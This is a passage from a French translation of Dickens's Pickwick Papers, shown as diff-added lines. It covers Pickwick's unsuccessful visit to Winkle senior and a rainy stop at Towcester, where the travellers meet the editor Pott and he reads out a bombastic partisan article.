+se rendre chez M. Winkle. Le long du chemin, Bob imprégnait l'atmosphère
+d'une violente odeur de tabac.
+
+À un quart de mille environ, dans une rue tranquille et propre,
+s'élevait une vieille maison de briques rouges. La porte, à laquelle on
+montait par trois marches, portait sur une plaque de cuivre ces mots: M.
+WINKLE. Les marches étaient fort blanches, les briques très-rouges, et
+la maison très-propre.
+
+L'horloge sonnait dix heures quand MM. Pickwick, Ben Allen et Bob Sawyer
+frappèrent à la porte. Une servante proprette vint l'ouvrir, et
+tressaillit en voyant trois étrangers.
+
+«M. Winkle est-il chez lui, ma chère? demanda M. Pickwick.
+
+--Il va souper, monsieur, répondit la jeune fille.
+
+--Donnez-lui cette carte, s'il vous plaît, et dites-lui que je suis
+fâché de le déranger si tard, mais que je viens d'arriver, et que je
+dois absolument le voir ce soir.»
+
+La jeune fille regarda timidement M. Sawyer, qui exprimait par une
+étonnante variété de grimaces l'admiration que lui inspiraient ses
+charmes; ensuite, jetant un coup d'oeil aux chapeaux et aux redingotes
+accrochés dans le corridor, elle appela une autre servante, pour garder
+la porte pendant qu'elle montait. La sentinelle fut rapidement relevée,
+car la jeune fille revint immédiatement, demanda pardon aux trois amis
+de les avoir laissés dans la rue, et les introduisit dans un
+arrière-parloir, moitié bureau, moitié cabinet de toilette, dont les
+principaux meubles étaient un bureau, un lavabo, un miroir à barbe, un
+tire-botte et des crochets, un tabouret, quatre chaises, une table et
+une vieille horloge.
+
+Sur le manteau de la cheminée se trouvait un coffre-fort en fer fixé
+dans le mur; enfin un almanach et une couple de tablettes chargées de
+livres et de papiers poudreux décoraient les murs.
+
+«Je suis bien fâché de vous avoir fait attendre à la porte, monsieur,
+dit la jeune fille en allumant une lampe et en s'adressant à M. Pickwick
+avec un gracieux sourire; mais je ne vous connaissais pas du tout, et il
+y a tant d'aventuriers qui viennent pour voir s'ils peuvent mettre la
+main sur quelque chose que réellement....
+
+--Il n'y a pas le moindre besoin d'apologie, ma chère enfant, répliqua
+M. Pickwick avec bonne humeur.
+
+--Pas le plus léger, mon amour,» ajouta Bob en étendant plaisamment les
+bras, et sautant d'un côté de la chambre à l'autre, comme pour empêcher
+la jeune fille de s'éloigner immédiatement. Mais elle ne fut nullement
+attendrie par ces gracieusetés, car elle exprima tout haut son opinion
+que M. Bob Sawyer était un polisson, et lorsqu'il voulut l'amadouer par
+des moyens encore plus pressants, elle lui imprima ses jolis doigts sur
+le visage, et bondit hors de la chambre, avec force expressions
+d'aversion et de mépris.
+
+Privé de la société de la jeune bonne, M. Bob Sawyer chercha à se
+divertir en regardant dans le bureau, en ouvrant les tiroirs de la
+table, en feignant de crocheter la serrure du coffre-fort, en retournant
+l'almanach, en essayant, par-dessus ses bottes, celles de M. Winkle
+senior, et en faisant sur les meubles et ornements diverses autres
+expériences amusantes, qui causaient à M. Pickwick une horreur et une
+agonie inexprimables, mais qui donnaient à M. Bob Sawyer un délice
+proportionnel.
+
+À la fin, la porte s'ouvrit, et un petit vieillard, en habit couleur de
+tabac, dont le visage et le crâne étaient exactement la contre-partie du
+crâne et du visage appartenant à M. Winkle _junior_ (si ce n'est que le
+petit vieillard était un peu chauve), entra, en trottant, dans la
+chambre, tenant d'une main la carte de M Pickwick, de l'autre un
+chandelier d'argent.
+
+«Monsieur Pickwick, comment vous portez-vous, monsieur? dit le petit
+vieillard en posant son chandelier et tendant sa main. J'espère que
+vous allez bien, monsieur? Charmé de vous voir, asseyez-vous, monsieur
+Pickwick, je vous en prie Ce gentleman est?...
+
+--Mon ami monsieur Sawyer, répondit M. Pickwick, un ami de votre fils.
+
+--Oh! fit M. Winkle en regardant Bob d'un air un peu refrogné. J'espère
+que vous allez bien, monsieur?
+
+--Comme un charme, répliqua Bob.
+
+--Cet autre gentleman, dit M. Pickwick, cet autre gentleman, comme vous
+le verrez quand vous aurez lu la lettre dont je suis chargé, est un
+parent très-proche.... ou plutôt devrais-je dire, un intime ami de votre
+fils. Son nom est Allen.
+
+--Ce gentleman?» demanda M. Winkle, en montrant avec la carte M.
+Benjamin Allen, qui s'était endormi dans une attitude telle qu'on
+n'apercevait de lui que son épine dorsale, et le collet de son habit.
+
+M. Pickwick était sur le point de répondre à cette question, et de
+réciter tout au long les noms et honorables qualités de M. Benjamin
+Allen, quand le spirituel Bob, afin de faire comprendre à son ami la
+situation où il se trouvait, lui fit dans la partie charnue du bras un
+violent pinçon. Ben se dressa sur ses pieds, avec un grand cri; mais
+s'apercevant aussitôt qu'il était en présence d'un étranger, il s'avança
+vers M. Winkle et lui secouant tendrement les deux mains pendant environ
+cinq minutes, murmura quelques mots sans suite, à moitié intelligibles,
+sur le plaisir qu'il éprouvait à le voir; lui demandant, d'une manière
+très-hospitalière, s'il était disposé à prendre quelque chose après sa
+promenade, ou s'il préférait attendre jusqu'au dîner; après quoi il
+s'assit, et se mit à regarder autour de lui, d'un air hébété, comme s'il
+n'avait pas eu la moindre idée du lieu où il se trouvait; ce qui était
+vrai, effectivement.
+
+Tout ceci était fort embarrassant pour M. Pickwick, et d'autant plus que
+M. Winkle _senior_ témoignait un étonnement palpable à la conduite
+excentrique, pour ne pas dire plus, de ses deux compagnons. Afin de
+mettre un terme à cette situation, il tira une lettre de sa poche, et la
+présentant à M. Winkle, lui dit:
+
+«Cette lettre, monsieur, est de votre fils. Vous verrez par ce qu'elle
+contient que son bien-être et son bonheur futur dépendent de la manière
+bienveillante et paternelle dont vous l'accueillerez. Vous m'obligerez
+beaucoup en la lisant avec calme, et en en discutant ensuite le sujet
+avec moi, d'une manière grave et convenable. Vous pouvez juger de quelle
+importance votre décision est pour votre fils, et quelle est son extrême
+anxiété, à ce sujet, puisqu'elle m'a engagé à me présenter chez vous, à
+une heure si avancée, et, ajouta M. Pickwick en regardant légèrement ses
+deux compagnons, et dans des circonstances si défavorables.»
+
+Après ce prélude, M. Pickwick plaça entre les mains du vieillard étonné,
+quatre pages serrées de repentir superfin; puis, s'étant assis, il
+examina sa figure et son maintien, avec inquiétude il est vrai, mais
+avec l'air ouvert et assuré d'un homme qui a accepté un rôle dont il n'a
+pas à rougir ni à se défendre.
+
+Le vieux négociant tourna et retourna la lettre avant de l'ouvrir;
+examina l'adresse, le dos, les côtés; fit des observations
+microscopiques sur le petit garçon grassouillet imprimé sur la cire;
+leva ses yeux sur le visage de M. Pickwick; et enfin, s'asseyant sur le
+tabouret de son bureau et rapprochant la lampe, brisa le cachot, ouvrit
+l'épître, et, l'élevant près de la lumière, se prépara à lire.
+
+Juste dans ce moment, M. Bob Sawyer, dont l'esprit était demeuré inactif
+depuis quelques minutes, plaça ses mains sur ses genoux et se composa un
+visage de clown, d'après les portraits de feu M. Grimaldi.
+Malheureusement il arriva que M. Winkle, au lieu d'être profondément
+occupé à lire sa lettre, comme Bob l'imaginait, s'avisa de regarder
+par-dessus, et, conjecturant avec raison que le visage en question était
+fabriqué en dérision de sa propre personne, fixa ses yeux sur le
+coupable avec tant de sévérité, que les traits de feu M. Grimaldi se
+résolurent, graduellement, en une contenance fort humble et fort
+confuse.
+
+«Vous m'avez parlé, monsieur? demanda M. Winkle après un silence
+menaçant.
+
+--Non, monsieur, répliqua Bob qui n'avait plus rien d'un clown, excepté
+l'extrême rougeur de ses joues.
+
+--En êtes-vous bien sûr, monsieur?
+
+--Oh! certainement; oui, monsieur, tout à fait.
+
+--Je l'avais cru, monsieur, rétorqua le vieux gentleman avec une emphase
+pleine d'indignation. Peut-être que vous m'avez regardé, monsieur?
+
+--Oh! non, monsieur, pas du tout, répliqua Bob de la manière la plus
+civile.
+
+--Je suis charmé de l'apprendre, monsieur, reprit le vieillard en
+fronçant ses sourcils d'un air majestueux; puis il rapprocha la lettre
+de la lumière et commença à lire sérieusement.
+
+M. Pickwick le considérait avec attention, tandis qu'il tournait de la
+dernière ligne de la première page à la première ligne de la seconde; et
+de la dernière ligne de la seconde page à la première ligne de la
+troisième; et de la dernière ligne de la troisième page à la première
+ligne de la quatrième; mais quoique le mariage de son fils lui fût
+annoncé dans les douze premières lignes, comme le savait très bien M.
+Pickwick, aucune altération de sa physionomie n'indiqua avec quels
+sentiments il prenait une si importante nouvelle.
+
+M. Winkle lut la lettre jusqu'au dernier mot, la replia avec la
+précision d'un homme d'affaires, et juste au moment où M. Pickwick
+attendait quelque grande expansion de sensibilité, il trempa une plume
+dans l'encrier, et dit aussi tranquillement que s'il avait parlé de
+l'affaire commerciale la plus ordinaire: Quelle est l'adresse de
+Nathaniel, monsieur Pickwick?
+
+
+«À l'hôtel _George et Vautour_, pour le présent.
+
+--George et Vautour, où est cela?
+
+--George Yard, Lombard street.
+
+--Dans la cité?
+
+--Oui.»
+
+Le vieux gentleman écrivit méthodiquement l'adresse sur le dos de la
+lettre, et l'ayant placée dans son bureau, qu'il ferma, dit en rangeant
+le tabouret et en mettant la clef dans sa poche: «Je suppose que nous
+n'avons plus rien à nous dire, monsieur Pickwick?»
+
+--Rien à nous dire, mon cher monsieur? s'écria l'excellent homme avec
+une chaleur pleine d'indignation. Rien à nous dire! N'avez-vous pas
+d'opinion à exprimer sur un événement si considérable dans la vie de mon
+jeune ami? Pas d'assurance à lui faire transmettre par moi, de la
+continuation de votre affection et de votre protection? Rien à dire qui
+puisse le rassurer, rien qui puisse consoler la jeune femme inquiète,
+dont le bonheur dépend de lui? Mon cher monsieur, réfléchissez.
+
+--Précisément, je réfléchirai. Je ne puis rien dire maintenant. Je suis
+un homme méthodique, monsieur Pickwick, je ne m'embarque jamais
+précipitamment dans aucune affaire et d'après ce que je vois de
+celle-ci, je n'en aime nullement les apparences. Mille livres sterling
+ne sont pas grand chose, monsieur Pickwick.
+
+--Vous avez bien raison, monsieur, dit Ben Allen, justement assez
+éveillé pour savoir qu'il avait dépensé ses mille livres sans la plus
+petite difficulté. Vous êtes un homme intelligent. Bob, c'est un
+gaillard intelligent.
+
+--Je suis enchanté que vous me rendiez cette justice, dit M. Winkle, en
+jetant un regard méprisant à M. Ben Allen, qui hochait la tête d'un air
+profond. Le fait est, monsieur Pickwick, qu'en permettant à mon fils de
+voyager sous vos auspices pendant un an ou deux, pour apprendre à
+connaître les hommes et les choses, et afin qu'il n'entrât pas dans la
+vie comme un écolier, qui se laisse attraper par le premier venu, je
+n'avais nullement compté sur ceci. Il le sait très bien, et si je
+cessais de le soutenir, il n'aurait pas lieu d'être surpris. Au reste il
+apprendra ma décision, monsieur Pickwick. En attendant, je vous souhaite
+le bonsoir. Margaret, ouvrez la porte.»
+
+Pendant tout ce temps M. Bob Sawyer avait fait des signes à son ami pour
+l'engager à dire quelque chose qui fût frappé au bon coin; aussi Ben
+improvisa-t-il, sans aucun avertissement préalable, une petite oraison
+brève, mais pleine de chaleur. «Monsieur, dit-il en regardant le vieux
+gentleman avec des yeux ternes et fixes et en balançant furieusement son
+bras de bas en haut: Vous.... vous devriez rougir de votre conduite.
+
+--En effet, répliqua M. Winkle; comme frère de la jeune personne, vous
+êtes un excellent juge de la question. Allons! en voilà assez. Je vous
+en prie, monsieur Pickwick, n'ajoutez plus rien. Bonne nuit, messieurs.»
+
+Ayant dit ces mots, le vieux négociant prit le chandelier et ouvrit la
+porte de la chambre, en montrant poliment le corridor.
+
+«Vous regretterez votre conduite, monsieur, dit M. Pickwick en serrant
+étroitement ses dents, pour contenir sa colère, car il sentait combien
+cela était important pour son jeune ami.
+
+--Je suis pour le moment d'une opinion différente, répondit M. Winkle
+avec calme. Allons, messieurs, je vous souhaite encore un bonne nuit.»
+
+M. Pickwick regagna la rue d'un pas irrité; Bob Sawyer, complètement
+maté par les manières décidées du vieux gentleman, prit le même parti;
+le chapeau de M. Ben Allen roula après eux sur les marches, et la
+personne de M. Ben Allen le suivit immédiatement; puis les trois
+compagnons allèrent se coucher en silence, et sans songer. Mais avant de
+s'endormir, M. Pickwick pense que s'il avait su quel homme méthodique
+était M. Winkle _senior_, il ne serait assurément pas chargé d'une telle
+commission pour lui.
+
+
+
+
+CHAPITRE XXII.
+
+Dans lequel M. Pickwick rencontre une vieille connaissance, circonstance
+fortuite à la quelle la lenteur est principalement redevable des détails
+brûlants d'intérêt ci-dessous consignés, concernant deux hommes
+politiques.
+
+
+Lorsque M. Pickwick se réveilla à huit heures du matin, l'état de
+l'atmosphère n'était nullement propre à égayer son esprit, ni à diminuer
+l'abattement que lui avait inspiré le résultat inattendu de son
+ambassade. Le ciel était triste et sombre, l' air humide et froid, les
+rues mouillées et fangeuses. La fumée restait paresseusement suspendue
+au sommet des cheminées, comme si elle avait manqué d'énergie pour
+s'élever, et la brume descendait lentement, comme si elle n'avait pas eu
+même le coeur à tomber. Un coq de combat, privé de toute son animation
+habituelle, se balançait tristement sur une patte, dans la cour, tandis
+qu'une bourrique, sous un étroit appentis, tenait sa tête baissée, et,
+s'il fallait en croire sa contenance misérable, devait méditer un
+suicide. Dans les rues, on ne voyait que des parapluies, et l'on
+n'entendait que le cliquetis des casques et le clapotement de l'eau, qui
+dégouttait des toits.
+
+Pendant le déjeuner, la conversation demeura singulièrement traînante.
+M. Bob Sawyer lui-même ressentait l'influence du temps, et la réaction
+de l'excitation du jour précédent. Suivant son propre et expressif
+langage, il était _aplati_. M. Ben Allen l'était aussi; et pareillement
+M. Pickwick.
+
+Dans l'attente prolongée d'une éclaircie, le dernier journal de Londres
+fut lu et relu, avec une intensité d'intérêt qui ne s'observe jamais que
+dans des cas d'extrême misère. Les trois compagnons d'infortunes ne
+mirent pas moins de persévérances à arpenter chaque fleur du tapis; ils
+regardèrent par la fenêtre assez souvent pour justifier l'imposition
+d'une double taxe; ils entamèrent, sans résultat, toutes sortes de
+sujets de conversation, et à la fin, lorsque midi fut arrivé sans amener
+aucun changement favorable, M. Pickwick tira résolument la sonnette et
+demanda sa voiture.
+
+La route était boueuse, il bruinait plus fort que jamais, et la boue
+était lancée dans la chaise ouverte en si grande quantité, qu'elle
+incommodait les habitants de l'intérieur presque autant que ceux de
+l'extérieur. Pourtant, dans le mouvement même, dans le sentiment d'un
+changement, d'une action, il y avait quelque chose de bien préférable à
+l'ennui de rester enfermé dans une chambre sombre, et de voir pour toute
+distraction la pluie tomber tristement dans une triste rue. Aussi nos
+voyageurs s'étonnèrent-ils d'abord d'avoir été si longtemps à prendre
+leur parti.
+
+Quand ils arrêtèrent à Coventry pour relayer, la vapeur qui sortait des
+chevaux formait un nuage si épais, qu'elle éclipsait complétement le
+palefrenier; seulement on l'entendit s'écrier au milieu du brouillard,
+qu'il espérait bien obtenir la première médaille d'or de la société
+d'humanité, pour avoir ôté le chapeau du postillon, attendu que celui-ci
+aurait été infailliblement noyé par l'eau qui découlait des bords, si
+l'invisible gentleman n'avait pas eu la présence d'esprit de l'enlever
+vivement, et d'essuyer avec un bouchon de paille le visage du naufragé.
+
+«Ceci est agréable, dit Bob en arrangeant le collet de son habit, et en
+tirant son châle sur sa bouche pour concentrer la fumée d'un verre
+d'eau-de-vie qu'il venait d'avaler.
+
+--Tout à fait, répondit Sam d'un air tranquille.
+
+--Vous n'avez pas l'air d'y faire attention.
+
+--Dame! monsieur, je ne vois pas trop quel bien ça me ferait.
+
+--Voilà une excellente réponse, ma foi!
+
+--Certainement, monsieur. Tout ce qui arrive est bien, comme remarqua
+doucement le jeune seigneur quand il reçut une pension, parce que le
+grand-père de la femme de l'oncle de sa mère avait une fois allumé la
+pipe du roi avec son briquet phosphorique.
+
+--Ce n'est pas une mauvaise idée cela, répliqua Bob d'un air approbatif.
+
+--Juste ce que le jeune courtisan disait ensuite tous les jours
+d'échéance pendant le reste de sa vie.»
+
+Après un court silence, Sam jeta un coup d'oeil au postillon, et
+baissant la voix de manière à ne produire qu'un chuchotement mystérieux:
+«Avez-vous jamais été appelé, quand vous étiez apprenti carabin, pour
+visiter un postillon?...
+
+--Non, je ne le crois pas.
+
+--Vous n'avez jamais vu un postillon dans un hôpital n'est-ce pas?
+
+--Non, je ne pense pas en avoir vu.
+
+--Vous n'avez jamais connu un cimetière où y avait un postillon
+d'enterré? vous n'avez jamais vu un postillon mort, n'est-ce pas?
+demanda Sam, en poursuivant son catéchisme.
+
+--Non, répliqua Bob.
+
+--Ah! reprit Sam d'un air triomphant, et vous n'en verrez jamais, et il
+y a une autre chose qu'on ne verra jamais, c'est un âne mort. Personne
+n'a jamais vu un âne mort, excepté le gentleman[23] en culotte de soie
+noire, qui connaissait la jeune femme qui gardait une chèvre, et encore
+c'était un âne français; ainsi il n'était pas de pur sang, après tout.
+
+[Footnote 23: _Yorick_. Voy. le voyage sentimental de Sterne. _(Note du
+traducteur.)_]
+
+--Eh bien! quel rapport tout cela a-t-il avec le postillon? demanda Bob.
+
+--Voilà. Je ne veux pas assurer, comme quelques personnes très-sensées,
+que les postillons et les ânes sont un être immortel, tous les deux;
+mais voilà ce que je dis: C'est que, quand ils se sentent trop roides
+pour travailler, ils s'en vont, l'un portant l'autre: un postillon pour
+deux ânes, c'est la règle. Ce qu'ils deviennent ensuite, personne n'en
+sait rien; mais il est très-probable qu'ils vont pour s'amuser dans un
+monde meilleur, car il n'y a pas un homme vivant qui ait jamais vu un
+postillon ni un âne s'amuser dans ce monde ici.»
+
+Développant compendieusement cette remarquable théorie, et citant à
+l'appui divers faits statistiques, Sam Weller égaya le trajet jusqu'à
+Dunchurch. Là on obtint un postillon sec et des chevaux frais. Daventry
+était le relais suivant, Towcester celui d'après, et à la fin de chaque
+relais, il pleuvait plus fort qu'au commencement.
+
+«Savez-vous, dit Bob d'un ton de remontrance en mettant le nez à la
+portière de la chaise, lorsqu'elle arrêta devant la tête du sarrasin, à
+Towcester, savez-vous que ça ne peut pas aller comme ça?
+
+--Ah ça! dit M. Pickwick, qui venait de sommeiller un peu: J'ai peur
+que vous n'attrapiez de l'humidité.
+
+--Oh vraiment! en effet, je crois que je suis légèrement humide! dit
+Bob, et personne ne pouvait le nier, car la pluie coulait de son cou, de
+ses coudes, de ses parements, de ses casques et de ses genoux. Tout son
+costume était si luisant d'eau, qu'on aurait pu croire qu'il était
+imprégné d'huile.
+
+--Je crois que je suis légèrement humide, répéta Bob, en se secouant et
+en jetant autour de lui une petite pluie fine, comme font les chiens de
+Terre-Neuve, en sortant de l'eau.
+
+--Je pense vraiment qu'il n'est pas possible d'aller plus loin ce soir,
+fit observer Ben Allen.
+
+--Tout à fait hors de question, monsieur, ajouta Sam en s'approchant
+pour assister à la conférence? C'est de la cruauté envers les animaux
+que de les faire sortir d'un temps pareil. Il y a des lits ici,
+monsieur. Tout est propre et confortable. Un très-bon petit dîner, qui
+peut être prêt en une demi-heure; des poulets et des côtelettes, du
+veau, des haricots verts, une tarte et de la propreté. Vous ferez bien
+de rester ici, monsieur, si j'ose donner mon avis gratis. Consultez les
+gens de l'art, comme disait le docteur.»
+
+L'hôte de la _Tête de Sarrasin_ arriva fort à propos, en ce moment, pour
+confirmer les éloges de Sam, relativement aux mérites de son
+établissement et pour appuyer ses supplications par une quantité de
+conjonctures effrayantes concernant l'état des routes, l'improbabilité
+d'avoir des chevaux frais aux relais suivant la certitude infaillible
+qu'il pleuvrait toute la nuit, et la certitude, également infaillible,
+que le temps s'éclaircirait le matin; avec divers autres raisonnements
+séducteurs familiers à tous les aubergistes.
+
+«C'est bien! dit M. Pickwick; mais alors il faut que j'envoie une
+lettre à Londres, de manière à ce que qu'elle soit remise demain, dès le
+matin. Autrement je serais obligé de continuer ma route, à tout hasard.»
+
+L'hôte fit une grimace de plaisir. Rien n'était plus facile que
+d'envoyer une lettre empaquetée dans une feuille de papier gris, soit
+par la malle, soit par la voiture de nuit de Birmingham. Si le gentleman
+tenait particulièrement à ce que qu'elle fût remise de suite, il pouvait
+écrire sur l'enveloppe _très-pressée_, moyennant quoi il serait certain
+qu'elle serait portée immédiatement, ou bien _une demi-couronne au
+porteur si ce paquet est remis de suite_, ce qui serait encore plus sûr.
+
+«Très-bien! dit M. Pickwick. Alors nous allons rester ici.
+
+--John, cria l'aubergiste; des lumières dans le _soleil_; faites vite du
+feu, les gentlemen sont mouillés. Par ici, messieurs. Ne vous tourmentez
+pas du postillon, monsieur, je vous l'enverrai quand vous le sonnerez.
+Maintenant, John, les chandelles.»
+
+Les chandelles furent apportées, le feu fut attisé et une nouvelle bûche
+y fut jetée. En dix minutes de temps un garçon mettait la nappe pour le
+dîner, les rideaux étaient tirés, le feu flambait, et, comme il arrive
+toujours dans une auberge anglaise un peu décente, on aurait cru, à voir
+l'arrangement de toutes choses, que les voyageurs étaient attendus
+depuis huit jours au moins.
+
+M. Pickwick s'assit à une petite table et écrivit rapidement, pour M.
+Winkle, un billet dans lequel il l'informait simplement qu'il était
+arrêté par le mauvais temps, mais qu'il arriverait certainement à
+Londres, le jour suivant; remettant d'ailleurs, à cette époque, le
+détail de ses opérations. Ce billet, arrangé de manière à avoir l'air
+d'un paquet, fut immédiatement porté à l'aubergiste, par Sam.
+
+Après s'être séché au feu de la cuisine, Sam revenait pour ôter les
+bottes de son maître, quand, en regardant par une porte entr'ouverte, il
+aperçut un grand homme, dont les cheveux étaient roux. Devant lui, sur
+une table, était étalé un paquet de journaux, et il lisait l'article
+politique de l'un d'eux, avec un air de sarcasme continuel, qui donnait
+à ses narines et à tous ses traits une expression de mépris superbe et
+majestueux.
+
+«Hé! dit Sam, il me semble que je connais cette boule-là, et le lorgnon
+d'or, et la tuile à grands rebords. J'ai vu tout cela à Eatanswill, ou
+bien je suis un crétin!»
+
+À l'instant même, afin d'attirer l'attention du gentleman, Sam fut saisi
+d'une toux fort incommode. Celui-ci tressaillit, en entendant du bruit,
+leva sa tête et son lorgnon, et laissa apercevoir les traits profonds et
+pensifs de M. Pott, l'éditeur de _la Gazette d'Eatanswill_.
+
+«Pardon, monsieur, dit Sam en s'approchant avec un salut. Mon maître est
+ici, monsieur Pott.
+
+--Chut! chut! cria Pott, en entraînant Sam, dans la chambre et en
+fermant la porte, avec une expression de physionomie pleine de mystère
+et d'appréhension.
+
+--Qu'est-ce qu'il y a? monsieur, dit Sam en regardant avec étonnement
+autour de lui.
+
+--Gardez-vous bien de murmurer mon nom. Nous sommes dans un pays jaune:
+si la population irritable savait que je suis ici, elle me déchirerait
+en lambeaux.
+
+--En vérité, monsieur?
+
+--Oui; je serais la victime de leur furie. Mais maintenant jeune homme,
+qu'est-ce que vous disiez de votre maître?
+
+--Qu'il passe la nuit dans cette auberge, avec un couple d'amis.
+
+--M. Winkle en est-il? demanda M. Pott en fronçant légèrement le
+sourcil.
+
+--Non, monsieur, il reste chez lui maintenant. Il est marié.
+
+--Marié! s'écria Pott avec une véhémence effrayante. Il s'arrêta, sourit
+d'un air sombre, et ajouta à voix basse et d'un ton vindicatif: C'est
+bien fait, il n'a que ce qu'il mérite.»
+
+Ayant ainsi exhalé, avec un sauvage triomphe, sa mortelle malice envers
+un ennemi abattu, M. Pott demanda si les amis de M. Pickwick étaient
+bleus, et l'intelligent valet, qui en savait à peu près autant que
+l'éditeur lui-même, ayant fait une réponse très-satisfaisante, M. Pott
+consentit à l'accompagner dans la chambre de M. Pickwick. Il y fut reçu
+avec beaucoup de cordialité, et l'on convint de dîner en commun.
+
+Lorsque M. Pott eut pris son siége près du feu, et lorsque nos trois
+voyageurs eurent ôté leurs bottes mouillées et mis des pantoufles:
+«Comment vont les affaires à Eatanswill? demanda M. Pickwick.
+_L'Indépendant_ existe-t-il toujours?
+
+--_L'Indépendant_, monsieur, répliqua Pott, traîne encore sa misérable
+et languissante carrière, abhorré et méprisé par le petit nombre de ceux
+qui connaissent sa honteuse et méprisable existence; suffoqué lui-même
+par les ordures qu'il répand en si grande profusion, assourdi et aveuglé
+par les exhalaisons de sa propre fange, l'obscène journal, sans avoir la
+conscience de son état dégradé, s'enfonce rapidement sous la vase
+trompeuse qui semble lui offrir un point d'appui solide auprès des
+classes les plus basses de la société, mais qui, s'élevant par degré
+au-dessus de sa tête détestée, l'engloutira bientôt pour toujours.»
+
+Ayant débité avec véhémence ce manifeste, tiré de son dernier article
+politique, l'éditeur s'arrêta pour prendre haleine, puis regardant
+majestueusement Bob: «Vous êtes jeune, monsieur,» lui dit-il.
+
+M. Sawyer inclina la tête.
+
+«Et vous aussi, monsieur,» ajouta Pott en s'adressant à M. Ben Allen.
+
+Celui-ci reconnut l'agréable imputation.
+
+--Et vous êtes tous les deux profondément imbus de ces principes bleus,
+que j'ai promis aux peuples de ce royaume de défendre et de maintenir
+tant que je vivrai?
+
+--Hé! hé! quant à cela, je n'en sais trop rien, répliqua Bob, je
+suis....
+
+--Pas un jaune, n'est-ce pas? monsieur Pickwick, interrompit l'éditeur
+en reculant sa chaise. Votre ami n'est pas un jaune, monsieur.
+
+--Non, non, répliqua Bob. Je suis une espèce de tartan écossais, à
+présent; un composé de toutes les couleurs.
+
+--Un vacillateur, dit Pott d'une voix solennelle; un vacillateur! Ah!
+monsieur, si vous pouviez lire une série de huit articles, qui ont paru
+dans _la Gazette d'Eatanswill_, j'ose dire que vous ne seriez pas
+longtemps sans asseoir vos opinions sur une base ferme et solide.
+
+--Et moi, j'ose dire que je deviendrais tout bleu, avant d'être arrivé à
+la fin,» rétorqua Bob.
+
+M. Pott le regarda d'un air soupçonneux, pendant quelques minutes, puis
+se tournant vers M. Pickwick: «Vous avez lu, sans doute, les articles
+littéraires qui ont paru par intervalles, depuis trois mois, dans _la
+Gazette d'Eatanswill_, et qui ont excité une attention si générale
+et.... et je puis le dire, une admiration si universelle.
+
+--Eh! mais, répliqua M. Pickwick, légèrement embarrassé par cette
+question, le fait est que j'ai été tellement occupé, d'une autre
+manière, que je n'ai réellement pas eu la possibilité de les parcourir.
+
+--Il faut les lire, monsieur, dit l'éditeur d'un air sévère.
+
+--Oui, certainement.
+
+--Ils ont paru sous la forme d'une critique très-détaillée d'un ouvrage
+sur la métaphysique chinoise.
+
+--Ah! très-bien.... Ces articles sont de vous? j'espère.
+
+--Ils sont de mon critique, monsieur, répliqua Pott avec grande dignité.
+
+--Un sujet bien abstrait, à ce qu'il semble?
+
+--Tout à fait, répondit Pott, avec l'air profond d'un sage. Il a fait,
+sous ma direction, des études préparatoires. D'après mon avis, il s'est
+aidé, pour cela, de l'_Encyclopédie britannique_.
+
+--En vérité? Je ne savais pas que cet excellent ouvrage contînt quelque
+chose sur la métaphysique chinoise.
+
+--Monsieur, continua Pott, en posant sa main sur le genou de M.
+Pickwick et en regardant autour de lui avec un sourire de supériorité
+intellectuelle, il a lu, pour la métaphysique, à la lettre M; et pour la
+Chine, à la lettre C; et il a amalgamé les fruits de cette double
+lecture, monsieur!»
+
+Les traits de M. Pott rayonnèrent de tant de grandeur additionnelle, au
+souvenir de la puissance de génie et des trésors de science déployés
+dans le docte travail en question, qu'il s'écoula quelques minutes avant
+que M. Pickwick eût la hardiesse de recommencer la conversation.
+Pourtant la contenance de l'éditeur étant retombée graduellement dans
+son expression ordinaire de suprématie morale, notre philosophe se
+hasarda à lui dire: «Me sera-t-il permis de demander quel grand objet
+vous a amené si loin de votre maison?
+
+--L'objet qui me guide et qui m'anime toujours, dans mes gigantesques
+travaux, répliqua Pott avec un sourire; le bien de mon pays.
+
+--Je supposais, effectivement, que c'était quelque mission politique.
+
+--Oui, monsieur, vous aviez raison, répondit Pott. Puis, se courbant
+vers M. Pickwick, il lui murmura à l'oreille d'une voix creuse et lente:
+Il doit y avoir demain soir un bal jaune à Birmingham.
+
+--En vérité! s'écria M. Pickwick.
+
+--Oui, monsieur; et un souper jaune!
+
+--Est-il possible?»
+
+Pott affirma le fait par un signe majestueux.
+
+Quoique M. Pickwick fit semblant d'être atterré par cette communication,
+il était si peu versé dans la politique locale, qu'il ne pouvait pas
+comprendre suffisamment l'importance de l'affreuse conspiration dont il
+était question. M. Pott s'en aperçut, et tirant le dernier numéro de _la
+Gazette d'Eatanswill_, lui lut avec solemnité le paragraphe suivant:
+
+RÉUNION CLANDESTINE DES JAUNES.
+
+«Un reptile contemporain a récemment vomi son noir venin dans le vain
+espoir de souiller la pure renommée de notre illustre représentant,
+l'honorable Samuel Slumkey; ce Slumkey dont nous avons prédit, longtemps
+avant qu'il eût atteint sa position actuelle, si noble et si chérie,
+qu'il serait un jour l'honneur et le triomphe de sa patrie, et le hardi
+défenseur de nos droits. Un reptile contemporain, disons-nous, a fait
+d'ignobles plaisanteries au sujet d'un panier à charbon, en plaqué,
+superbement ciselé, offert à cet admirable citoyen par ses mandataires
+enchantés. Ce misérable et obscur écrivain insinue que l'honorable
+Samuel Slumkey a, lui-même, contribué, par le moyen d'un ami intime de
+son sommelier, pour plus des trois quarts de la somme totale de la
+souscription. Eh! quoi? cette créature rampante ne voit-elle pas que, si
+ce fait était vrai, il ne servirait qu'à placer l'honorable M. Slumkey
+dans une auréole encore plus brillante, s'il est possible. Sa cervelle
+obtuse ne comprend-elle pas que cet aimable et touchant désir d'exaucer
+les voeux des électeurs doit le rendre cher à jamais à ceux de ses
+compatriotes qui ne sont pas pires que des pourceaux, ou, en d'autres
+termes, qui ne sont pas tombés aussi bas que notre contemporain? Mais
+telles sont les misérables équivoques des jaunes jésuitiques. Et ce ne
+sont pas là leurs seuls artifices! La trahison couve sous la cendre.
+Nous déclarons hardiment, maintenant que nous sommes provoqué à tout
+dire, et nous nous plaçons en conséquence sous la sauvegarde de notre
+pays et de ses constables, nous déclarons hardiment qu'on fait, en ce
+moment même, des préparatifs pour un bal _jaune_, qui sera donné dans
+une ville _jaune_, au centre même d'une population _jaune_, qui sera
+dirigé par un maître des cérémonies _jaune_, où assisteront quatre
+membres du parlement _ultra-jaunes_, et où l'on ne sera admis qu'avec
+des billets _jaunes_! Notre infernal contemporain frissonne-t-il? Qu'il
+se torde vainement dans son impuissante malice, en lisant ces mots:
+_Nous serons là_.»
+
+Après avoir débité cette tirade, le journaliste, tout à fait épuisé,
